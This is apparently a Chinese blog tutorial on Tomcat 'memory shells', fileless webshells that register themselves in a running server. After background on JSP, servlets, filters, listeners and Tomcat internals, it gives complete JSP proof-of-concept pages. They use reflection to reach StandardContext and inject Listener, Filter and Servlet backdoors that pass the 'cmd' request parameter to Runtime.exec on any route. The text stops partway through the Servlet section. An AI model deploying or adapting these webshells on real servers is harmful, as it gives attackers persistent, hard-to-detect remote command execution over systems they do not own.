内存马是什么 内存马又名无文件马,见名知意,也就是无文件落地的 webshell 技术,是由于 webshell 特征识别、防篡改、目录监控等等针对 web 应用目录或服务器文件防御手段的介入,导致的文件 shell 难以写入和持久而衍生出的一种“概念型”木马。这种技术的核心思想非常简单,一句话就能概括,那就是对访问路径映射及相关处理代码的动态注册。
目前安全行业主要讨论的内存马主要分为以下几种方式:
动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
动态注册 interceptor/controller(使用框架如 spring/struts2)
动态注册使用职责链 设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等)
使用 java agent 技术写入字节码
JSP 在学习Java内存马之前,我们先来简单了解一下JSP技术。
什么是JSP 虽然jsp已经过时了,但是还在用的
JSP(Java Server Pages),是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println
一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术。
JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。
当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页。
JSP的语法 脚本程序 脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的。脚本程序的格式如下
1 2 3 <jsp:scriptlet> 代码片段 </jsp:scriptlet>
1 2 3 4 5 6 <html> <body> <h2>Hello World!!!</h2> <% out.println("GoodBye!" ); %> </body> </html>
JSP声明 一个声明语句可以声明一个或多个变量、方法,供后面的Java代码使用。JSP声明语句格式如下
同样等价于下面的XML语句
1 2 3 <jsp:declaration> 代码片段 </jsp:declaration>
下面是使用实例
1 2 3 4 5 6 7 <html> <body> <h2>Hello World!!!</h2> <%! String s= "GoodBye!" ; %> <% out.println(s); %> </body> </html>
JSP表达式 如果JSP表达式中为一个对象,则会自动调用其toString()
方法。格式如下,注意表达式后没有;
等价于下面的XML表达式
1 2 3 <jsp:expression> 表达式 </jsp:expression>
1 2 3 4 5 6 7 8 9 <html> <body> <h2>Hello World!!!</h2> <p> <% String name = "Feng" ; %> username:<%=name%> </p> </body> </html>
JSP指令 JSP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令
1 2 3 <%@ page ... %> 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等 <%@ include ... %> 包含其他文件 <%@ taglib ... %> 引入标签库的定义,可以是自定义标签
比如我们能通过page指令来设置jsp页面的编码格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <html> <body> <h2>Hello World!!!</h2> <p> <% String name = "枫" ; %> 用户名:<%=name%> </p> </body> </html>
JSP注释 格式如下
JSP内置对象 JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下
由 JSP 规范提供,不用编写者实例化
通过 Web 容器实现和管理
所有 JSP 页面均可使用
只有在脚本元素的表达式或代码段中才能使用
1 2 3 4 5 6 7 8 9 request javax.servlet .http .HttpServletRequest 获取用户请求信息 response javax.servlet .http .HttpServletResponse 响应客户端请求,并将处理信息返回到客户端 response javax.servlet .jsp .JspWriter 输出内容到 HTML 中 session javax.servlet .http .HttpSession 用来保存用户信息 application javax.servlet .ServletContext 所有用户共享信息 config javax.servlet .ServletConfig 这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数 pageContext javax.servlet .jsp .PageContext JSP 的页面容器,用于访问 page、request、application 和 session 的属性 page javax.servlet .jsp .HttpJspPage 类似于 Java 类的 this 关键字,表示当前 JSP 页面 exception java.lang .Throwable 该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象
Java web三大件 Servlet 1.什么是servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
2.请求的处理过程
客户端发起一个http请求,比如get类型。 Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。 Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。 Servlet容器调用service()方法。 service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。 doXXX方法中是我们自己写的业务逻辑。 业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。 容器关闭时候,会调用destory方法
3.servlet生命周期
1)服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)。
2)servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)方法中执行
3)服务器关闭时,销毁这个servlet对象,执行destroy()方法。
4)由JVM进行垃圾回收。
Filter 简介
filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。
基本工作原理
1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。 2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。 3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。 4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。 5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。 6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。
filter的生命周期
与servlet一样,Filter的创建和销毁也由web容器负责。 web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。 Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
filter链 当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。
Listener 简介 JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。 ServletContextListener:对Servlet上下文的创建和销毁进行监听; ServletContextAttributeListener:监听Servlet上下文属性的添加、删除和替换; HttpSessionListener:对Session的创建和销毁进行监听。Session的销毁有两种情况,一个中Session超时,还有一种是通过调用Session对象的invalidate()方法使session失效。 HttpSessionAttributeListener:对Session对象中属性的添加、删除和替换进行监听; ServletRequestListener:对请求对象的初始化和销毁进行监听; ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听。
用途 可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
Tomact架构 Tomcat Server大致可以分为三个组件,Service、Connector、Container
Service 其中一个Tomcat Server可以包含多个Service,比如Tomcat默认的Service服务Catalina。每一个Service都是独立的,他们共享一个JVM以及系统类库,并且一个Service负责维护多个Connector和一个Container。
Connector Connector用于连接Service和Container,解析客户端的请求并转发到Container,以及转发来自Container的响应。每一种不同的Connector都可以处理不同的请求协议,包括HTTP/1.1、HTTP/2、AJP等等。
Container Tomcat的Container包含四种子容器:Engine
、Host
、Context
和Wrapper
,在Tomcat源码中我们可以清晰地看到各容器之间的继承关系
一个Container对应一个Engine,一个Engine可以包含多个Host,一个Host可以包含多个Context,Context又包含多个Wrapper,各子容器的功能如下
Engine 可以看成是容器对外提供功能的入口,每个Engine是Host的集合,用于管理各个Host。
Host 可以看成一个虚拟主机
,一个Tomcat可以支持多个虚拟主机。
Context 又叫做上下文容器,我们可以将其看成一个Web应用,每个Host里面可以运行多个Web应用。同一个Host里面不同的Context,其contextPath必须不同,默认Context的contextPath为空格(“”)或斜杠(/)。
Wrapper 是对Servlet的抽象和包装,每个Context可以有多个Wrapper,用于支持不同的Servlet每个Wrapper实例表示一个具体的Servlet定义,Wrapper主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收。
可以用一张图来表示请求在Container中的解析过程
以上的映射信息通过通过Mapper组件来关联。Mapper组件保存了Web应用的配置信息,容器组件与访问路径的映射关系等。
Tomcat内存马 Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型。即Java Web核心的三大组件,Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。
Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上
Listener型 根据以上思路,我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下三种
ServletContextListener
HttpSessionListeners
ServletRequestListener
很明显,ServletRequestListener是最适合用来作为内存马的。因为ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()
方法。下面我们来实现一个恶意的Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package Listener; import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;import javax.servlet.annotation.WebListener;import javax.servlet.http.HttpServletRequest;import java.io.IOException; @WebListener public class Li implements ServletRequestListener { @Override public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } @Override public void requestDestroyed (ServletRequestEvent sre) { } }
访问任意路由都可执行命令
下面的问题就是如何将恶意的Listener动态注册进服务器了,下面我们来分析一下Listener的创建过程。
Listener的创建过程 开启debug模式,我们先来看一下调用栈
StandardContext#fireRequestInitEvent
调用了我们的Listener,我们跟进看其实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public boolean fireRequestInitEvent (ServletRequest request) { Object instances[] = getApplicationEventListeners(); if ((instances != null ) && (instances.length > 0 )) { ServletRequestEvent event = new ServletRequestEvent (getServletContext(), request); for (Object instance : instances) { if (instance == null ) { continue ; } if (!(instance instanceof ServletRequestListener)) { continue ; } ServletRequestListener listener = (ServletRequestListener) instance; try { listener.requestInitialized(event); } catch (Throwable t) { ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.requestListener.requestInit" , instance.getClass().getName()), t); request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t); return false ; } } } return true ; }
关键代码有两处,首先通过getApplicationEventListeners()
获取一个Listener数组,然后遍历数组调用listener.requestInitialized(event)
方法触发Listener。跟进getApplicationEventListeners()
方法
1 2 3 public Object[] getApplicationEventListeners() { return applicationEventListenersList.toArray(); }
可以看到Listener实际上是存储在*applicationEventListenersList
*属性中的
1 2 3 4 5 6 private List<Object> applicationEventListenersList = new CopyOnWriteArrayList <>();
并且我们可以通过StandardContext#addApplicationEventListener()
方法来添加Listener
1 2 3 public void addApplicationEventListener (Object listener) { applicationEventListenersList.add(listener); }
获取StandardContext类 下面的工作就是获取StandardContext
类了,在StandardHostValve#invoke
中,可以看到其通过request对象来获取StandardContext
类
1 2 3 4 public void invoke (Request request, Response response) throws IOException, ServletException { Context context = request.getContext();
同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取
1 2 3 4 5 6 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
还有另一种获取方式如下
1 2 3 4 <% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); %>
接着我们编写一个恶意的Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed (ServletRequestEvent sre) { } } %>
最后添加监听器
1 2 3 4 <% Shell_Listener shell_Listener = new Shell_Listener (); context.addApplicationEventListener(shell_Listener); %>
完整POC 至此我们可以总结出Listener型内存马的实现步骤
获取StandardContext上下文
实现一个恶意Listener
通过StandardContext#addApplicationEventListener方法添加恶意Listener
完整POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed (ServletRequestEvent sre) { } } %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Shell_Listener shell_Listener = new Shell_Listener (); context.addApplicationEventListener(shell_Listener); %>
访问Listener.jsp,此时Tomcat已经添加了我们恶意的Listener,访问任意路由即可触发
Filter型 仿照Listener型内存马的实现思路,我们同样能实现Filter型内存马。我们知道,在Servlet容器中,Filter的调用是通过FilterChain实现的
同样地,我们先来实现一个恶意的Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package Filter; import javax.servlet.*;import javax.servlet.annotation.WebFilter;import java.io.IOException; @WebFilter("/*") public class Shell_Filter implements Filter { @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } }
Filter调用分析 我们在doFilter处打上断点,调用栈如下
跟进ApplicationFilterChain#internalDoFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void internalDoFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if (this .pos < this .n) { ApplicationFilterConfig filterConfig = this .filters[this .pos++]; try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && "false" .equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) { request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED" , Boolean.FALSE); } if (Globals.IS_SECURITY_ENABLED) { Principal principal = ((HttpServletRequest)request).getUserPrincipal(); Object[] args = new Object []{request, response, this }; SecurityUtil.doAsPrivilege("doFilter" , filter, classType, args, principal); } else { filter.doFilter(request, response, this ); } .......... }
调用了filter.doFilter()
,而filter
是通过filterConfig.getFilter()
得到的,filterConfig
定义如下
1 2 3 private ApplicationFilterConfig[] filters = new ApplicationFilterConfig [0 ];ApplicationFilterConfig filterConfig = this .filters[this .pos++];
一个filterConfig对应一个Filter,用于存储Filter的上下文信息。这里的*filters
属性是一个ApplicationFilterConfig数组。我们来寻找一下 ApplicationFilterChain.filters
*属性在哪里被赋值。
在StandardWrapperValve#invoke()
方法中,通过ApplicationFilterFactory.createFilterChain()
方法初始化了一个ApplicationFilterChain
类
1 ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
我们跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public static ApplicationFilterChain createFilterChain (ServletRequest request, Wrapper wrapper, Servlet servlet) { ... filterChain = new ApplicationFilterChain (); filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); ... String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { ... ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); ... filterChain.addFilter(filterConfig); } ... return filterChain; }
这里我省略了函数中一些不重要的判断,从createFilterChain函数中,我们能够清晰地看到filterChain对象的创建过程
首先通过filterChain = new ApplicationFilterChain()
创建一个空的filterChain对象
然后通过wrapper.getParent()
函数来获取StandardContext
对象
接着获取StandardContext
中的FilterMaps
对象,FilterMaps
对象中存储的是各Filter的名称路径等信息
最后根据Filter的名称,在StandardContext
中获取FilterConfig
通过filterChain.addFilter(filterConfig)
将一个filterConfig
添加到filterChain
中
可以看到在ApplicationFilterChain#addFilter
方法,filterConfig被添加到filters中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void addFilter (ApplicationFilterConfig filterConfig) { for (ApplicationFilterConfig filter:filters) { if (filter==filterConfig) { return ; } } if (n == filters.length) { ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig [n + INCREMENT]; System.arraycopy(filters, 0 , newFilters, 0 , n); filters = newFilters; } filters[n++] = filterConfig; }
所以关键就是将恶意Filter的信息添加进FilterConfig数组中,这样Tomcat在启动时就会自动初始化我们的恶意Filter。
FilterConfig、FilterDef和FilterMaps 跟进到createFilterChain函数中,我们能看到此时的上下文对象StandardContext
实际上是包含了这三者的
其中filterConfigs包含了当前的上下文信息StandardContext
、以及filterDef
等信息
其中filterDef
存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>
标签。
1 2 3 4 <filter > <filter-name > </filter-name > <filter-class > </filter-class > </filter >
可以看到,filterDef必要的属性为filter
、filterClass
以及filterName
。
filterDefs 1 filterDefs是一个HashMap ,以键值对的形式存储filterDef
filterMaps filterMaps
中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>
标签
1 2 3 4 <filter-mapping > <filter-name > </filter-name > <url-pattern > </url-pattern > </filter-mapping >
filterMaps必要的属性为dispatcherMapping
、filterName
、urlPatterns
于是下面的工作就是构造含有恶意filter的FilterMaps和FilterConfig对象,并将FilterConfig添加到filter链中了。
动态注册Filter 经过上面的分析,我们可以总结出动态添加恶意Filter的思路
获取StandardContext对象
创建恶意Filter
使用FilterDef对Filter进行封装,并添加必要的属性
创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
获取StandardContext对象 StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。
1 2 3 4 5 6 7 8 9 10 11 12 ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" );appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" );standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
创建恶意Filter 1 2 3 4 5 6 7 8 9 10 11 12 13 public class Shell_Filter implements Filter { public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd=request.getParameter("cmd" ); try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } }
创建filterMap filterMap用于filter和路径的绑定
1 2 3 4 5 FilterMap filterMap = new FilterMap ();filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
封装filterConfig及filterDef到filterConfigs 1 2 3 4 5 6 7 8 Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" );Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put(name, filterConfig);
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <%@ page import ="java.io.IOException" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="java.util.Map" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %> <%! public class Shell_Filter implements Filter { public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } } %> <% Shell_Filter filter = new Shell_Filter (); String name = "CommonFilter" ; FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig); %>
先访问jsp木马,动态注册了我们的恶意Filter,然后访问任意路由即可执行命令
Servlet型 同样地,我们先实现一个恶意的Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package Servlet; import javax.servlet.*;import javax.servlet.annotation.WebServlet;import java.io.IOException; @WebServlet("/shell") public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }
下面就是实现动态注册Servlet了。
Servlet创建流程 在org.apache.catalina.core.StandardContext
类的startInternal()
方法中,首先调用了listenerStart()
,接着是filterStart()
,最后是loadOnStartup()
。这三处调用触发了Listener、Filter、Servlet的构造加载。
创建StandardWrapper 在StandardContext
#startInternal
中,调用了fireLifecycleEvent()
方法解析web.xml文件,我们跟进
1 2 3 4 5 6 protected void fireLifecycleEvent (String type, Object data) { LifecycleEvent event = new LifecycleEvent (this , type, data); for (LifecycleListener listener : lifecycleListeners) { listener.lifecycleEvent(event); } }
最终通过ContextConfig#webConfig()
方法解析web.xml获取各种配置参数
然后通过configureContext(webXml)
方法创建StandWrapper对象,并根据解析参数初始化StandWrapper对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 private void configureContext (WebXml webxml) { context.setPublicId(webxml.getPublicId()); ... for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null ) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null ) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); ... wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); } } ... }
最后通过addServletMappingDecoded()
方法添加Servlet对应的url映射
加载StandWrapper 接着在StandardContext#startInternal
方法通过findChildren()
获取StandardWrapper
类
最后依次加载完Listener、Filter后,就通过loadOnStartUp()
方法加载wrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public boolean loadOnStartup (Container children[]) { TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap <>(); for (Container child : children) { Wrapper wrapper = (Wrapper) child; int loadOnStartup = wrapper.getLoadOnStartup(); if (loadOnStartup < 0 ) { continue ; } Integer key = Integer.valueOf(loadOnStartup); ArrayList<Wrapper> list = map.get(key); if (list == null ) { list = new ArrayList <>(); map.put(key, list); } list.add(wrapper); } for (ArrayList<Wrapper> list : map.values()) { for (Wrapper wrapper : list) { try { wrapper.load(); }
注意这里对于Wrapper对象中loadOnStartup
属性的值进行判断,只有大于0的才会被放入list进行后续的wrapper.load()
加载调用。
这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup
属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。
动态注册Servlet 通过上文的分析我们能够总结出创建Servlet的流程
获取StandardContext
对象
编写恶意Servlet
通过StandardContext.createWrapper()
创建StandardWrapper
对象
设置StandardWrapper
对象的loadOnStartup
属性值
设置StandardWrapper
对象的ServletName
属性值
设置StandardWrapper
对象的ServletClass
属性值
将StandardWrapper
对象添加进StandardContext
对象的children
属性中
通过StandardContext.addServletMappingDecoded()
添加对应的路径映射
获取StandardContext对象 1 2 3 4 5 6 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
或
1 2 3 4 5 6 7 8 9 <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %>
编写恶意Servlet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <%! public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } } %>
